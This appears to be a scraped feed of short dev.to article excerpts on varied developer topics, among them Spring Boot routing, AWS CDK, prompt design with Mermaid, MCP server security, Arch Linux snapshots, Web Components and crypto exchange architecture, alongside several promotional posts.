    JAI Router is a minimal Spring Boot starter that centralizes dynamic route registration and exposes a small admin API for runtime routing. The project is ready for contributors — see CONTRIBUTING.md and issues labeled good first issue and help wanted. Problem Dynamic route registration is often scattered across services and hard to test. Existing solutions introduce heavy dependencies or tightly couple to framework internals. What JAI Router does Provides a small, testable API to register and manage routes at runtime. Integrates as a Spring Boot starter with minimal dependencies. Keeps route storage and dispatching modular and easy to mock in tests. Key features Runtime route registration and removal. Pluggable route matching and handler resolution. Small API surface suitable for microservices and integration tests . Quickstart Clone the repo: git clone hhttps://github.com/JAI-create-spec/JAI-Router/tree/develop Run locally: ./gradlew bootRun (Java 17) See README.md for quick-start snippets and example endpoints. Example usage How to contribute Pick a starter issue labeled good first issue or help wanted. Open small PRs with tests; maintainers aim to review quickly. Repo and license https://github.com/JAI-create-spec/JAI-Router/tree/develop License: see LICENSE Call to action If you work on Spring Boot routing or infrastructure, try the quickstart and pick a starter issue — contributions are welcome.  ( 6 min )
    🚀 ProblemPad — The Game-Changing Platform Built for Real Problems, Real Voices, Real Solutions 🎤⚡
    Hey dev fam 👋 Today I’m dropping something wild — a project built straight from real-world needs, tested in the field, and wrapped in clean Node.js engineering. Introducing ProblemPad: a community-powered problem-solving platform designed for neighborhoods, societies, and professional workers. Think of it like a digital notice board + service marketplace + community hub… all merged into one clean experience. And yes — it’s built with zero bloat, no GridFS, and an audio system running on pure MongoDB binary power. ⚡ GitHub Repo 👉 https://github.com/DeveloperPuneet/ProblemPad Let’s be honest — everyone has daily issues: Electrical faults ⚡ Plumbing breakdowns 💧 Device malfunctions 🔌 Community chaos 🏘️ But the real chaos? No unified place to report these issues and get them so…  ( 8 min )
    New Opportunity - Growth Partner For Software Business
    Warm greetings, My name is Takeshi, a senior software engineer based in Japan leading a small development team focused on Web and AI applications. We’re now preparing to expand into the US software market. We’re looking for a partner who can help us secure software jobs or contracts by engaging with clients and managing the interview, while my team handles all job applications, the entire development process, and delivery. What You Gain Requirements If this sound like a good fit for you, please schedule a short call using the following link: Calendly Link Best regards, Senior Software Engineer | Team Manager passionmuse16@gmail.com https://github.com/sven3270350  ( 6 min )
    [AWS] DevTools Evangelism CDK Edition
    This article is a machine translation of the contents of the following URL, which I wrote in Japanese: https://qiita.com/Nana_777/items/f5c2366d092226179477 This is the fourth post in the Japan AWS Top Engineers Advent Calendar 2025. This time, we'll discuss the AWS CDK, a commonly used tool for writing IaC code. LoudFormation, another AWS IaC tool, is easy to use with any text editor, but it can lead to redundant code. While AWS CDK is a bit more difficult to set up, it allows you to write IaC code efficiently with less code. This article explains how to set up and deploy the AWS CDK environment. ↓ Click here for the Japan AWS Top Engineers Advent Calendar 2025 https://qiita.com/advent-calendar/2025/aws-top-engineers The AWS Cloud Development Kit (CDK) is a tool for creating Infrastructur…  ( 10 min )
    Improve your Prompt Engineering with the help of a little Mermaid
    Spoiler Alert: This article is about using Mermaid diagrams as a method of re-enforcement in LLM prompting and not about the fary tail The Little Mermaid written by Danish author Hans Christian Anderson. You probably have seen a lot of Mermaid Diagrams already without even realizing that what is powering them is a formal description language which is very well understood by LLMs. Mermaid syntax is very good for describing formal, structural, or temporal information like "A happens, then B, and if X, then C". It forces clarity and guarantees that the visualization precisely reflects the text definition which makes it a perfect choice for a prompt as code approach. Complementing your text with additional Mermaid code in your prompt will provide the LLM so called "Dual-Path Reinforcement": T…  ( 10 min )
    AI Killed the Full-Stack Roadmap. Here's the New System.
    The Paradox: You're Climbing a Ladder That's Already Obsolete You’ve seen the charts. The endless tree of technologies you’re supposed to learn to call yourself “full-stack.” HTML, CSS, JavaScript, then React, then Node.js, then SQL, then NoSQL, then Docker, then Kubernetes… it never ends. But here’s the brutal truth: you’re preparing for a world that no longer exists. While you’re memorizing syntax, AI is building entire applications from a single prompt. The game has changed. The value is no longer in being a human code compiler. The value has shifted from writing the lines to architecting the system. Your old roadmap is a trap, designed to make you a commodity in a world that now values unique insight above all. The Analysis: From Code Writer to System Director The fundamental shift is …  ( 9 min )
    Day 12: Python Programming
    Advanced Python Collections (List, Tuple, Set, Dictionary) PART-1: LIST – Advanced Concepts 1. List Comprehension With condition: 2. Nested List Comprehension 3.List Slicing 4.Important List Methods Example: 5.Cloning a List PART-2: TUPLE – Advanced Concepts 1.Tuple Unpacking 2.Tuple with * (Extended Unpacking) 3.Why Tuple Is Faster? Immutable → stored in continuous memory Faster iteration than list Used for fixed data (lat/long, config) 4.Convert List to Tuple PART-3: SET – Advanced Concepts 1.Set Operations print(A | B) # union ✔2.Remove Duplicates from List Using Set 3.Add & Remove Elements 4.Set Comprehension PART-4: DICTIONARY – Advanced Concepts 1.Dictionary Comprehension 2.Looping Through Dictionary 3.Merging Two Dictionaries 4.Dictionary Methods 5.Using Dictionary as Counter PART-5: Collections Module (Important for Interviews) 1.Counter 2.defaultdict 3.deque 4.OrderedDict PART-6: Interview Programs Using Collections 1.Find the most repeated element 2.Reverse a list without using reverse() 3.Merge two lists into dictionary 4.Remove duplicates while preserving order 5.Convert dictionary to list of tuples d = {"a":1, "b":2} print(list(d.items()))  ( 7 min )
    DebateMaster-AI
    Debating is an art – it’s not just what you say, but how you say it. Imagine having a personal AI coach that not only challenges your arguments in real-time but also tracks your performance, gives constructive feedback, and helps you grow as a debater. That’s exactly what I built for this Hackathon: DebateMaster AI. DebateMaster-I is a real-time debate coaching platform that leverages Google's Gemini Live API for bidirectional voice streaming. Unlike traditional debate apps, this platform is designed to analyze your performance on the fly, track your improvement, and help you refine your skills through AI-powered insights. Here’s how it works: Enter a debate topic, for example: "Impact of Pollution on Living Organisms" Choose your debate style: Coach mode for supportive feedback or Fierce…  ( 7 min )
    Scraping predictions for 2026: agentic workflow and AI
    What are AI agents for scraping A user gives an LLM prompt for scraping. Agent breaks it down into subtasks and organize the work. Agent automatically asks for additional information if needed. The task is completed. AI agents for web scraping can perform assignments that previously required manual scripting. Separate tools already exist for searching, loading webpages, clicking buttons, and filling forms. Instead of executing them by hand, they can be combined and integrated into a unified research agent. AI agents use automatic scraping tools to: Navigate to a website. Handle interactions (clicks, scrolling, waiting for JS). Fetch HTML or rendered content. Parse and clean data. Output structured data (JSON, CSV, etc.). What makes agentic workflow superior to AI workflow You send a promp…  ( 8 min )
    Stop Pretending You're An Engineer
    THE MYTH You believe your six-figure salary means you are a creator. A builder. An engineer. You think that because you can stitch together a React frontend with a Firebase backend, you are practicing a high-level craft. This is a comforting lie. You are a technician. A digital plumber connecting pipes that smarter people built. THE PAIN This delusion makes you fragile. Your entire career is built on a framework that will be obsolete in five years. Your 'skill' is your knowledge of a specific API's documentation. You are infinitely replaceable. A cheaper developer from another continent, or a purpose-built AI, can do your job. You are a commodity, and the market is about to correct its overvaluation of your role. You are not building leverage; you are renting it. THE RED PILL The system do…  ( 9 min )
    Security Holes in MCP Servers and How To Plug Them
    Model Context Protocol (MCP), has officially hit one year old as of November 25th and although there have been some amazing innovations within MCP, one issue still persists - the gaping security hole. This is no secret as just about every organization is talking about it. The long-running joke so far has been “The S in MCP stands for security”. Aside from prompt injections, MCP Server security is arguably the biggest issue in the AI security world right now. In this blog post, you’ll learn how to fix the gaps. To follow along with this blog post, you should have: A Kubernetes cluster running (it can be local). Kubernetes Gateway API CRDs installed, which you can find here. There are two forms of MCP servers: stdio StreamableHTTP stdio (the communication method) stands for standard input/ou…  ( 11 min )
    I Built an AI That Finds Every Article Similar to Your Text — Here’s How It Works
    Most search engines will show you pages that mention the same keywords. But what if you want to find articles that express the same ideas, even if they’re written completely differently? That’s the problem that pushed me into building something new. A few months ago, I needed to verify whether parts of my content were being reused online. Google wasn’t helpful — keyword search missed half of the semantically similar pages. Rephrased paragraphs were completely invisible. So I built my own engine. Today, I’m excited to introduce Nooth, an AI-powered system that takes any text you enter and searches the web for content with similar themes, ideas, and semantic meaning. Drop in a paragraph → get URLs, similarity percentages, and deep analytical insights. Here’s how it works under the hood. 🚀 T…  ( 8 min )
    Recognition of the Winners of the Agentic Postgres Challenge with Tiger Data
    🏆 Recognition of the Winners of the Agentic Postgres Challenge with Tiger Data 🥇 First Place – Simran Shaikh (@simranshaikh20_50) Innovation: Leveraged Tiger Cloud’s zero-copy database forks to run four specialized agents (Quality, Security, Performance, Documentation) in parallel. Impact: Reduced analysis time from 40–60 seconds to just 10–15 seconds, achieving a 4x performance improvement. 🥈 Second Place – Mayuresh (@mayu2008) Innovation: Combined pg_text and pgvector in a hybrid search, achieving 23% higher accuracy compared to each method individually. Impact: Five agents analyze financial transactions in parallel with response times under 100 ms. Built in Rust, with Fluid Storage enabling a 95% cost reduction. 🥉 Third Place – Divya Singh (@divyasinghdev) Innovation: Four specialized agents analyze code quality, technology stack, career readiness, and innovation. Impact: Transformed a sequential process of 1–2 minutes into a real-time experience (<10 seconds). Utilized Tiger CLI, zero-copy forks, and pg_text search to extract semantic patterns from repositories. 🙌 Recognition of All Participants 🌐 Special Acknowledgment 📌 Closing The REMI team celebrates and congratulates the winners of the Agentic Postgres Challenge with Tiger Data, reaffirming that technical innovation, discipline, and collaboration are the pillars driving the future of development.  ( 7 min )
    Getting Started with Nop: How to Creatively Extend GraphQL
    The Nop platform does not use common GraphQL open-source libraries such as graphql-java; instead, it implements the NopGraphQL engine from scratch. The NopGraphQL engine introduces many novel implementation approaches that broaden GraphQL’s scope of application and enhance its practicality. For detailed documentation, see graphql/index.md GraphQL requires the frontend to specify the fields to be returned, which can be cumbersome when there are many fields. In such cases, you can use the Fragment feature of the GraphQL language to define common field sets and reference these fragments in queries to simplify them. F_ Each backend service object in the Nop platform has an associated XMeta metadata model file, where you can augment GraphQL types with additional metadata. <selections…  ( 9 min )
    How Crypto Businesses Can Prepare for MiCA Authorization in the European Union
    The European regulatory environment for crypto is evolving rapidly, and MiCA is the most significant development shaping how businesses operate across the European Union. Companies launching exchanges, custody solutions, OTC desks, tokenization platforms or payment systems must now comply with a unified regulatory structure that is far more demanding than the previous patchwork of national rules. Preparing for authorization requires a strategic, methodical and well-organized approach that goes far beyond producing a few basic compliance documents. MiCA introduces a new regulatory architecture designed to ensure consumer protection, market integrity and financial stability. It defines a complete framework for authorization, governance, internal controls, AML procedures, ICT security, operat…  ( 8 min )
    รัน Typhoon 2.5 บน Colab ฟรี: จาก 30B (ไม่ไหว) สู่ 4B "Sweet Spot"
    สวัสดีครับ! นี่คือบทความสรุปการเดินทางของเราในการพยายามรันโมเดล Typhoon 2.5 (ทั้ง 30B และ 4B) บน Google Colab Free Tier ครับ เราได้ลองผิดลองถูกมาหลายวิธี และนี่คือบทเรียนทั้งหมดที่เราพบ ตั้งแต่ความล้มเหลวไปจนถึง Config ที่ดีที่สุดครับ อ่านฉบับเต็ม... ความฝันของเราคือการรันโมเดลเรือธง 30B แต่ความจริงก็คือ: Ollama (บน T4 GPU): รอดแบบเฉียดฉิว! ใช้ VRAM 14.3 GB จาก 15 GB ที่มีให้ นี่คือการรัน "จนเต็มขีดจำกัด" ของ T4 Transformers (เขียนโค้ด Python): ล่มโดยสิ้นเชิง! บน T4 (GPU): เจอปัญหา "Disk is almost full" (Disk 112GB ไม่พอโหลดโมเดล 60-70GB) บน TPU (v5e-1): แก้ปัญหา Disk ได้ แต่เจอ "Time Out" (แค่โหลดโมเดลก็ 40 นาที จนค้าง) สรุป Part 1: ถ้าอยากลอง 30B บน Colab ฟรี, Ollama คือทางเดียว (แต่ก็เสี่ยงมาก) ส่วน transformers นั้น "เป็นไปไม่ได้" Ollama (บน CPU Runtime): รันได้! ใช้ System RAM ~3.5G…  ( 7 min )
    Stop Prompting the Hard Way: How Mellea Gives You Supercharged AI Results
    Introduction Prompting used to feel like magic. Sometimes the AI gave great results sometimes it didn’t. But modern AI workloads require consistency, structure, validation, and reliability — not guesswork. This is where Mellea steps in. Mellea is changing the way developers craft prompts by introducing structured, modular, and reusable prompt design. Instead of writing plain text prompts, Mellea lets you create smart, dynamic, and interactive prompt components. Mellea transforms ordinary text prompts into well-defined, self-correcting AI functions that produce predictable and error-free outputs. Mellea is a Python-based framework that allows you to build prompt , reuse them, and execute them like code. This makes prompting more consistent, scalable, and easier to maintain. Mellea is a r…  ( 8 min )
    javascript
    Get ElementById() ,get ElemenyByTagname() GUhan document.getElementById("data").value 3 move input to paragraph Step 1: enter data Chennai in (form) step 2: click the button submit step3: store value in box(memory) step4:move data into innerHTML chennai Document input{width:40%;height:40px;}h2,p{color:red;} button{width:40%;height:40px; background-color: blue;color:white}; Select By Id …  ( 12 min )
    What are your wins this year??
    A post by Mehfila A Parkkulthil  ( 6 min )
    How UI/UX Design Turns Visitors Into Paying Customers
    UX Design: Turning Website Visitors into Customers & Boosting Conversion If you’ve ever stared at your website analytics and thought, “We’re getting visits… so why aren’t people buying?”, you’re not alone. Many businesses assume they have a marketing problem when, in reality, they have a user experience problem. Think of UI/UX design as the bridge between intention and action. People land on your website with a goal. They want information, pricing, clarity, or confirmation. If that path is confusing, slow, or hard to navigate, they don’t complain; they leave. Investing in UI/UX isn’t about making your website “look nicer.” It’s about making it usable, trustworthy, and purchase-friendly. That’s how visitors turn into customers. Before diving into design tactics, we need to talk about conv…  ( 11 min )
    Snapshots, Brooms, and Arch Linux Chaos Control
    Arch gives you the steering wheel and the broom. On my Arch setup, Limine boots a BTRFS root while Snapper snaps a before/after every time I poke pacman. It's gorgeous, rollbacks for days, but the snapshots stack up faster than RGB stickers unless I sweep them out. So I wrote this simple cleanup.sh, my tiny digital janitor. "I use Arch btw." Pacman + Snapper hooks = instant safety net. If a wile build breaks stuff, I just reboot, pick the previous snapshot in Limine, and carry on. I settled on CachyOS and HyDE on top of it, after trying and experimenting with multiple setups. Now CachyOS loves performance tweaks, which means I love experimenting. Snapshots let me go full mad scientist without sweating the fallout. Doing the cleanup myself keeps that classic Arch vibe: I decide what stays, …  ( 8 min )
    Mock Elements: The Unsung Heroes of UI Design
    When crafting user interfaces, designers and developers often need to present visuals, forms, and scripts before real data is available. Mock elements, placeholders and fictional samples, make this possible with both clarity and tradition. Below are some of the most famous placeholders and their backstories. Mock elements act as stand-ins for actual content, helping designers and clients focus on visual structure, usability, and layout, undistracted by real-world data or identities. They keep prototypes relevant, flexible, and safe for sharing and testing while enabling early feedback and iteration. History: The “lorem ipsum” text originated from a scrambled section of Cicero’s 1st-century Latin treatise “de finibus bonorum et malorum.” Letraset further popularized it in the 1960s for typ…  ( 8 min )
    YAMLpp is dynamic,self-generating YAML
    YAML is a great file format, used for writing configuration files; and more and more, as a foundation for Domain Specific Languages (DSLs), such as the ones for Docker and Kubernetes. We have all, however, suffered from a frustration: YAML is fundamentally a static file format. How can we make it dynamic? It starts with the fact that some string, like http://dev.company.local appears several times across the files. server: url: http://dev.company.local ... documentation: url: http://dev.company.local/docs ... And the day that address changes, what do we do? Do a search/replace in the config files? Nah... this is brittle and things will get worse before they get better. And in any case, it doesn't solve many cases where a "small" change of parameter (from dev to test and from te…  ( 8 min )
    Zero-Click SEO in 2026: When Winning Means Nobody Visits Your Site
    Let me paint you a picture: You finally crack the code. Your content ranks #1 for a high-value keyword. You're celebrating with overpriced coffee. Then you check analytics and... nothing. Zero clicks. Welcome to zero-click search, where winning means Google answered the question so well that nobody needs to visit your website. Chef's kiss for user experience. Absolute nightmare for your traffic metrics. But here's the thing—this isn't going away. By late 2025, we're seeing AI Overviews (Google's fancy term for AI-generated answer boxes) on roughly 15-20% of queries. Featured snippets? They've been eating our lunch since 2017. And if you think this trend reverses in 2026, I have a metaverse timeshare to sell you. The question isn't whether to optimize for zero-click results. It's how to do …  ( 11 min )
    Code Smell 315 - Cloudflare Feature Explosion
    When bad configuration kills all internet proxies TL;DR: Overly large auto-generated config can crash your system. Config overload Hardcoded limit Lack of validations Crash on overflow Fragile coupling Cascading Failures Hidden Assumptions Silent duplication Unexpected Crashes Thread panics in critical paths Treating internal data as trusted input Poor observability Single point of failure in internet infrastructure Validate inputs early Enforce soft limits Fail-fast on parse Monitor config diffs Version config safely Use backpressure mechanisms Degrade functionality gracefully Log and continue Improve degradation metrics Implement proper Result/Option handling with fallbacks Treat all configuration as untrusted input Refactoring 004 - Remove Unhandled Exceptions Maxi Contieri ・ Feb 10 '2…  ( 25 min )
    Meet Bumblebee: Agentic AI Flagging Risky Merchants in Under 90 Seconds
    contributors: @parin-k, @sumit12dec If you're familiar with a payments company, you know the drill. Risk agents manually review thousands of merchant websites every month, checking for red flags: sketchy privacy policies, misaligned pricing, questionable social media presence, suspicious domain registration patterns. At Razorpay, our risk operations team was conducting 10,000 to 12,000 manual website reviews monthly, each taking roughly four minutes of human attention. That's 700 to 800 human hours consumed every month, and the quality was inconsistent because different agents would interpret the same signals differently. The traditional approach to fraud detection involves throwing bodies at the problem or building rigid rule engines that break the moment fraudsters adapt their tactics. …  ( 13 min )
    Businesses Are Winning with Gen AI: 13 Generative AI Use Cases That Actually Work
    The momentum around Generative AI isn’t slowing down if anything, it’s accelerating. Just last year, everyone was talking about its potential, but this year the impact has multiplied exponentially. Across industries, leaders are waking up to the fact that bold, strategic adoption of GenAI determines whether a business falls behind or rises above its competition. Yet, despite all the hype, there’s a surprising data point: while 90% of software development professionals use AI daily, only 13% of enterprises are actually thriving with it. Why such a massive success divide? The truth is simple: winning with GenAI depends on how well an organization manages its data and integrates AI-powered business solutions into its ecosystem. When data is connected, secure, and accessible, teams can work wi…  ( 8 min )
    Reusable GitHub Copilot Prompt for Refactoring Opportunities
    Refactoring becomes easier when you receive fast feedback about improvement options in code. GitHub Copilot Chat already helps with this, but writing a long prompt each time feels wasteful. A small prompt instruction file in your repository removes friction. This article walks through one concrete example. GitHub Copilot Chat supports reusable prompts stored under a .github/prompts folder in your repository. Each file holds instructions for the agent. You reference such a file from chat with a slash command instead of copying full text again. This section focuses on one refactoring helper prompt. Create folder .github/prompts in your repository if it does not exist yet. Add a new markdown file named refactoring_opportunities.prompt.md inside this folder. Use the following content. --- agen…  ( 8 min )
    Copy and Paste on Proxmox VM
    Copy and paste does not work well on Proxmox KVM on the UI. We created a script to simulate keyboard typing and paste data over KVM when using the UI. Open your Chrome Dev Tools, and paste this. function simulateKeyEvent(el, eventType, key, options = {}) { const evt = new KeyboardEvent(eventType, { key, ...options }); el.dispatchEvent(evt); } const sendKey = (char) => { let capsLockOn = false; const SHIFT_NEEDED = /[A-Z!@#$%^&*()_+{}:"?~|]/; const canvas = document.querySelector("canvas"); canvas.focus(); if (char === '\n') { simulateKeyEvent(canvas, "keydown", "Enter"); simulateKeyEvent(canvas, "keyup", "Enter"); } else { const needsShift = SHIFT_NEEDED.test(char); const isUpperCase = char >= 'A' && char <= 'Z'; if (needsShift) { simulateKe…  ( 7 min )
    “EU AI Act: The Code is the Compliance — Why TAUGuard is Already the Architecture We Needed”
    The Misunderstanding That Reveals the Future “They told us: ‘The EU AI Act is coming — better prepare.’ But what if some of us didn’t need to prepare? What if we built for that world before the ink dried on the legislation?” Some see the upcoming regulation as another compliance burden. We built TAUGuard — not as a response, but as the foundation. The advent of regulation such as the EU AI Act, alongside standards like ISO 42001 and frameworks such as NIST RMF, signals a tectonic shift: From retrospective compliance (reports, audits) → to real-time assurance. From static documentation → to dynamic, executable compliance. From paper‑trail governance → to code-anchored governance — fresh, live, unforgeable. In other words: laws and standards no longer ask whether you did it — the…  ( 7 min )
    Designing with Web Components: Custom Elements & Shadow DOM in HTML
    I’ve published a new tutorial on Djamware.com that dives deep into building native, framework-agnostic Web Components using modern browser standards. In this guide, you’ll learn: What Web Components are and why they matter How Custom Elements and Shadow DOM work How to build components using templates and slots How to pass data with attributes and properties Best practices for performance, accessibility, and component APIs How to build a real component with encapsulated styles 👉 Read the full tutorial: https://www.djamware.com/post/692e739ecfbd910fde2b32a1/designing-with-web-components-custom-elements-shadow-dom-in-html If you're building reusability into your UI or creating cross-framework components, this tutorial is for you. Let me know what components you’d like me to build next!  ( 6 min )
    We’re Not Just “Online” Anymore — We’re Connected. Welcome to ConnectApp
    We live in a world where you can meet someone in Tokyo, collaborate with someone in Lagos, and build with someone in New York — all before lunch. But even with all this tech, real connection still feels hard. That’s exactly why ConnectApp Inc. exists. We’re not here to be just another app. 🌍 Connection, But Make It Real Gen Z doesn’t want noise. ConnectApp is built to: Link people with shared interests and goals Support creators, entrepreneurs, students, and innovators Turn conversations into collaborations Make networking feel natural, not forced No pressure. No fake energy. Just real people building real things. 💡 Built for the Future (Not the Past) We’re a generation that moves fast, thinks global, and builds digitally. ConnectApp is designed with: A clean, modern experience Smart networking tools Spaces for projects, ideas, and opportunities Features that grow with your ambition Whether you’re: A startup founder A creative A student A freelancer Or just someone with big ideas There’s space for you here. 🔗 More Than an App — It’s a Movement ConnectApp Inc. is about: Collaboration over competition Community over clout Impact over hype We believe the next big things won’t come from isolated individuals — they’ll come from connected minds. And that’s where you come in. ✨ Join the New Wave of Digital Connection Gen Z is rewriting the rules of work, networking, and collaboration. ConnectApp is simply giving us the tools to do it better. This is your space to: Connect Create Grow Build the future together The future isn’t just digital. It’s connected. — ConnectApp.inc  ( 7 min )
    Unleash Dynamic Content: Mastering the Elementor Flip Box Widget for Engaging WordPress Sites
    Unleash Dynamic Content: Mastering the Elementor Flip Box Widget for Engaging WordPress Sites In today's competitive digital landscape, capturing and retaining user attention is paramount for any website owner. Merely presenting static information often falls short of creating a memorable user experience. This is where dynamic, interactive elements come into play, transforming passive browsing into an engaging journey. For WordPress users leveraging the power of Elementor, a popular page builder, there's a straightforward yet incredibly effective tool to achieve this: the Flip Box widget. Designed to add a layer of interactivity and visual flair, the Elementor Flip Box allows you to display information in a novel way that encourages exploration and makes your content truly pop. What is the…  ( 8 min )
    Branch development with git
    Branch development is a key aspect of software development. The idea here is you clone (i.e. copy) the code you’re going to work on onto your own computer, then you can make your necessary changes, then lastly save it back to the official code repository. In other words, you take the copied code and “branch” off with it to make changes. Then you “merge” your branch back into the main repository of code. In my old job, Pega handled this on it’s own. It had it’s own branching tools, so I could copy the low code settings into my own branch, make my changes, then check them back in to the official code. But outside of low-code tools like Pega, developers primarily use git to help manage their branch development. With 100Devs, I’ve been pushing the HTML and CSS projects into Github. In the past…  ( 7 min )
    The World's First Web Components Library in the Style of shadcn — With Automatic Code Injection
    Okay, that headline sounds pretty cocky, I know. But as far as I've been able to Google — this really is the first attempt at something like this. If I'm wrong — drop a comment, I'd love to check out alternatives. Meanwhile, let me tell you what this beast is and why it even exists. It all started with microfrontends. You know, when you have one project, but inside it lives Vue, React, and maybe some legacy jQuery that nobody wants to touch because "it works, don't touch it." So you're sitting there, a designer brings you a mockup of a new button. A beautiful button, with a gradient, with hover effects, everything just right. And you realize that now you're going to have to: Write this button for Vue Write the same button for React Write it one more time for that legacy code Pray that they…  ( 12 min )
    The Future of Crypto: A World Where We Don’t Even Call It “Crypto” Anymore 🚀
    Imagine waking up in 2035. You buy coffee, pay rent, send funds abroad… and at no point do you think: Should I convert first? Because you don’t need to. The rails under the system do that for you. That’s the world Crypto-as-a-Service (CaaS) is quietly building. Platforms like Coinbase CaaS and WhiteBIT CaaS are basically the hidden rope tying fiat and crypto together. Users pay as usual, but behind the scenes, assets swap, settle, stake, and move across chains without friction. It’s not “using crypto.” using money. This is what adoption actually looks like - not flashy slogans, but infrastructure that disappears into the background. Absolutely - not because they suddenly become blockchain experts, but because crypto will blend into their daily routines. Convenience always wins. When people don’t need 12 tabs open, a gas calculator, a prayer, and a Ledger update just to move $50, adoption skyrockets. Crypto will feel less like an “industry” and more like the default financial layer of the internet. Modular chains, tokenized assets, real-world rails, even AI-driven compliance - all of it pushes us toward a system where money works faster, cheaper, and more globally than legacy finance ever could. When crypto becomes truly mainstream… And that’s a feature, not a bug. 👉 If you want to dive deeper into how CaaS shapes this future, you can find more info here.  ( 7 min )
    Built InvoiceQuick with Vibe Coding to help solopreneurs and small teams create and send invoices anywhere, anytime in seconds.
    Built InvoiceQuick because generating a simple invoice should not require opening bloated accounting software or fighting with spreadsheets. The goal has always been simple: make invoicing easy, with no learning curve and no hassle. Just a clean, fast way to get paid. Who it’s for: Freelancers, solopreneurs, consultants, agencies, and small businesses who want to create invoices quickly without templates, spreadsheets, or lengthy setups. What makes InvoiceQuick stand out: • Paste > Invoice: Turn plain text into a full invoice instantly. • Snap > Invoice: Convert handwritten notes into an invoice using your mobile camera. • Upload > Invoice: Drop screenshots, photos, or scans and let the app build the invoice automatically. • Smart payment links to help clients pay faster. • One-click due reminders so you never have to chase payments manually. • Share invoices through WhatsApp, Messenger, email, or any app you prefer. • Customize invoice color that resonates with your brand. • Simple, clean UI designed so even a primary student can create an invoice. If you’re a freelancer or running a small business, I’d love your feedback. So, I’m excited to share this one with the community. You can check it out here: https://invoicequick.app I would like to hear your thoughts or suggestions. I am building this feature one step at a time with input from real users.  ( 7 min )
    Architecture Decisions When You’re Asked to Build a Crypto Exchange
    You know the brief: “Client wants to build a crypto exchange. How hard can it be?” On a slide, it looks like just another product: sign-up, balances, charts, an order form. But under the UI, you’re gluing together custody, a trading engine, compliance logic, and 24/7 operations. If you treat it like a normal CRUD app, you’re going to have a bad time. This post is a practical walkthrough of the main architecture decisions you need to force to the surface early, before you’re buried in features and tickets. 1. Decide what you’re actually matching Before database schemas, microservices, or picking a message bus, you need to answer: Are we building a CEX (internal order book and matching)? A P2P marketplace (offers + escrow, no central book)? An OTC workflow (RFQs, quotes, manual approvals)? S…  ( 9 min )
    Sector HQ Weekly Digest - December 2, 2025
    Sector HQ Weekly Digest - December 2, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 516189.8 | 1993 events this week Anthropic - Score: 289651.9 | 328 events this week Google - Score: 159917.4 | 100 events this week Microsoft - Score: 136773.6 | 892 events this week Amazon - Score: 130268.4 | 61 events this week Nvidia - Score: 129302.5 | 75 events this week Meta - Score: 100622.6 | 42 events this week Apple - Score: 84205.9 | 81 events this week Perplexity - Score: 47899.8 | 7 events this week DeepMind - Score: 46045.2 | 10 events this week ↑ Sony jumped 277 positions to #46 ↑ Hippocratic jumped 192 positions to #75 ↑ Stability AI jumped 183 positions to #62 ↑ Bytedance jumped 143 positions to #49 ↑ Raspberry Pi jumped 138 positions to #65 No high hype alerts this week Total companies tracked: 84 Total events this week: 3910 Average activity per company: 46.5 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
    Revolutionizing Enterprise: How Startups Are Shaping the Future of Corporate Innovation
    Revolutionizing Enterprise: How Startups Are Shaping the Future of Corporate Innovation Introduction In an era where technological evolution is relentless, established corporations face the challenge of maintaining relevance and competitive edge. Startups, with their agility and innovative mindset, are emerging as catalysts for corporate transformation. This synergy between startups and corporations is redefining innovation strategies, fostering disruptive solutions, and accelerating digital transformation. The Role of Startups in Corporate Innovation Agility and Risk-Taking Startups operate with minimal bureaucratic constraints, allowing rapid experimentation and iteration. Their willingness to take risks enables the development of groundbreaking solutions that can be integrated into larg…  ( 8 min )
    Handling Cold Starts in Serverless AI: Why Your First Request Fails (And How to Fix It)
    First request to your AI model: timeout. Second request: instant success. If you've integrated AI APIs into serverless applications, you've probably hit this wall. Here's what's happening, why it matters for user experience, and how I solved it without forcing users to manually retry. I was testing LogicVisor (a code review platform using Gemini AI) when I noticed a pattern: after a few hours of inactivity, the first API call would consistently fail with "Model is temporarily unavailable. Please try again later". Trying again just a few seconds later always worked. For a new user trying the platform for the first time, their experience would be: Submit code for review See an error message Get told to "try again" As you can expect, this isn't a great first experience. Even if the issue woul…  ( 9 min )
    InvoiceQuick helps solopreneurs, freelancers, and small teams create and send invoices anywhere, anytime in seconds.
    Built InvoiceQuick because generating a simple invoice should not require opening bloated accounting software or fighting with spreadsheets. The goal has always been simple: make invoicing easy, with no learning curve and no hassle. Who it’s for: Freelancers, solopreneurs, consultants, agencies, and small businesses who want to create invoices quickly without templates, spreadsheets, or lengthy setups. What makes InvoiceQuick stand out: • Paste > Invoice: Turn plain text into a full invoice instantly. • Snap > Invoice: Convert handwritten notes into an invoice using your mobile camera. • Upload > Invoice: Drop screenshots, photos, or scans and let the app build the invoice automatically. • Smart payment links to help clients pay faster. • One-click due reminders so you never have to chase payments manually. • Share invoices through WhatsApp, Messenger, email, or any app you prefer. • Customize invoice color that resonates with your brand. • Simple, clean UI designed so even a primary student can create an invoice. If you’re a freelancer or running a small business, I’d love your feedback. So, I’m excited to share this one with the community. You can check it out here: https://invoicequick.app I would like to hear your thoughts or suggestions. I am building this feature one step at a time with input from real users.  ( 7 min )
    Scaling with Celery and Redis
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    ✈️ CẬP NHẬT AIR CARGO - ASIA PACIFIC: GIÁ CƯỚC TIẾP TỤC TĂNG
